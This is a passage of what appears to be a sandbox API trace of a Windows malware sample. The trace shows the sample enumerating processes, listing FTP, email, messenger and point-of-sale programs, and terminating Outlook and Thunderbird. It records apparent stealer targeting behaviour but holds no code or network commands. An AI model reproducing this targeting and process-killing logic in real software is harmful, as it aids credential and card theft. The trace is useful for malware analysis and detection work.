RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x434) returned 0x753e48 [0051.888] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x128 [0051.895] Process32FirstW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0051.895] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0051.896] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0051.896] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.897] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0051.897] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.898] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0051.898] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0051.899] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0051.899] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0051.900] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.900] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.901] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.901] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.902] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.902] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0051.903] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.903] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.903] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0051.904] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0051.904] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0051.905] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.905] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.906] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0051.906] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expensesknowpolicies.exe")) returned 1 [0051.907] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="york-singing.exe")) returned 1 [0051.907] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="techno charges.exe")) returned 1 [0051.908] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impression.exe")) returned 1 [0051.908] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="greensboro-revealed.exe")) returned 1 [0051.909] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="range-hayes-pot.exe")) returned 1 [0051.909] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pilot-liverpool-black.exe")) returned 1 [0051.910] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gammafin.exe")) returned 1 [0051.910] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pope.exe")) returned 1 [0051.911] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operates.exe")) returned 1 [0051.911] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="dynamics.exe")) returned 1 [0051.912] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="congratulations.exe")) returned 1 [0051.912] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="employer.exe")) returned 1 [0051.913] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="paypal_drunk.exe")) returned 1 [0051.913] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="italian french participants.exe")) returned 1 [0051.914] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bruceanalytical.exe")) returned 1 [0051.914] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="firefoxguess.exe")) returned 1 [0051.915] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="legally notified.exe")) returned 1 [0051.915] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="qualities.exe")) returned 1 [0051.915] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0051.916] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0051.916] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0051.917] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0051.917] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0051.918] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0051.918] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0051.919] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0051.919] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0051.920] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0051.920] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0051.921] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0051.921] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0051.922] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0051.922] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0051.922] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0051.923] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0051.983] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0051.984] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x844) returned 0x144 [0051.984] TerminateProcess (hProcess=0x144, uExitCode=0x0) returned 1 [0051.987] CloseHandle (hObject=0x144) returned 1 [0051.987] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0051.988] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0051.989] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0051.989] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0051.990] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0051.991] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x894) returned 0x144 [0051.991] TerminateProcess (hProcess=0x144, uExitCode=0x0) returned 1 [0051.992] CloseHandle (hObject=0x144) returned 1 [0051.992] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0051.993] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0051.993] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0051.994] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0051.995] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0051.995] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0051.996] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0051.997] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0051.998] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0051.998] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0051.999] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0052.000] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0052.000] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0052.001] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0052.002] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0052.002] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0052.003] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, 